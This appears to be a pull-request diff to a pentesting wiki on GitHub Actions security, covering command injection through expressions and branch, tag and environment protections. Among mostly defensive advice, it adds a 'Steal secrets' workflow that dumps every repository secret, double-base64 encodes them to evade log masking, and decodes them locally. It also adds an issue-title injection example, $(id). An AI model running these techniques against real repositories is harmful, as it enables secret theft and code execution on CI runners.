Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 0 additions & 1 deletion searchindex.js

This file was deleted.

Original file line number Diff line number Diff line change
Expand Up @@ -173,6 +173,9 @@ In case members of an organization can **create new repos** and you can execute

If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).

> [!WARNING]
> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.

You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):

```yaml
Expand Down Expand Up @@ -567,6 +570,30 @@ jobs:
key: ${{ secrets.PUBLISH_KEY }}
```

- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:

```yaml
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```

Decode locally:

```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```

Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).

### Abusing Self-hosted runners

The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
Expand Down Expand Up @@ -650,6 +677,10 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All
> [!WARNING]
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.

## References

- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)

{{#include ../../../banners/hacktricks-training.md}}


Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,103 @@

{{#include ../../../banners/hacktricks-training.md}}

## Understanding the risk

GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.

Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts

Key points:
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.

## Vulnerable pattern → RCE on runner

Vulnerable workflow (triggered when someone opens a new issue):

```yaml
name: New Issue Created
on:
issues:
types: [opened]
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```

If an attacker opens an issue titled $(id), the rendered step becomes:

```sh
echo "New issue $(id) created"
```

The command substitution runs id on the runner. Example output:

```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```

Why quoting doesn’t save you:
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.

## Safe pattern (shell variables via env)

Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.

```yaml
# safe
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
```

Notes:
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.

## Reader-triggerable surfaces (treat as untrusted)

Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
- issues, issue_comment
- discussion, discussion_comment (orgs can restrict discussions)
- pull_request, pull_request_review, pull_request_review_comment
- pull_request_target (dangerous if misused, runs in base repo context)
- fork (anyone can fork public repos)
- watch (starring a repo)
- Indirectly via workflow_run/workflow_call chains

Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/

## Practical tips

- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.

## References

- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)

{{#include ../../../banners/hacktricks-training.md}}
25 changes: 22 additions & 3 deletions src/pentesting-ci-cd/github-security/basic-github-information.md
Original file line number Diff line number Diff line change
Expand Up @@ -190,8 +190,12 @@ jobs:
```

You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
Additionally, environment protections include:
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
- **Wait timer**: delay deployments for a configurable period.

It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
### Git Action Runner

A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
Expand Down Expand Up @@ -231,10 +235,11 @@ Different protections can be applied to a branch (like to master):
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
Expand All @@ -244,15 +249,29 @@ Different protections can be applied to a branch (like to master):
> [!NOTE]
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.

## Tag Protections

Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:

1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.

This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.

## References

- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)

{{#include ../../banners/hacktricks-training.md}}